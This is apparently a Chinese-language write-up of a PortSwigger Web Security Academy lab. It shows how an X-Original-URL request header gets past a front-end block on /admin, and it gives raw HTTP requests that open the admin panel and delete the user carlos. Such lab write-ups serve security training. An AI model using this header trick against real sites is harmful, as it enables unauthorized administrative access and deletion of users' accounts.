> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/access-control/bypassing-url-based-access-control.md).
# 绕过基于 URL 的访问控制
### 基于 URL 的访问控制可以被绕过
在这个练习中，网站有一个位于 **/admin**，并被前端过滤器正式阻止，该过滤器会阻止外部访问。/ 但是，后端应用程序使用了一个能够识别 **X-Original-URL** 请求头的框架，从而绕过了限制。
#### **分析与利用**
通过尝试直接访问 **/admin**，访问会被拒绝。/ 要绕过这个过滤器，只需拦截一个请求（例如对 `/` 根路径）的请求，并添加以下请求头：
```http
X-Original-URL: /admin
```
修改后的请求示例：
```http
GET / HTTP/2
Host: 0adf00fa0339fdd982870b6700ac0038.web-security-academy.net
Cookie: session=zZPNq7xgRqmex89AnUMQRWEzngZl7ShX
X-Original-Url: /admin
```
后端服务器会解析这个请求头并返回 **200 OK**，从而获得对管理面板的访问权限。
#### **删除用户**
要删除用户 **carlos**，可以通过使用相同的请求头重定向内部 URL 来伪造一个新请求：
```http
GET /?username=carlos HTTP/2
Host: 0adf00fa0339fdd982870b6700ac0038.web-security-academy.net
Cookie: session=zZPNq7xgRqmex89AnUMQRWEzngZl7ShX
X-Original-Url: /admin/delete
```
然后删除操作就成功执行了。
---
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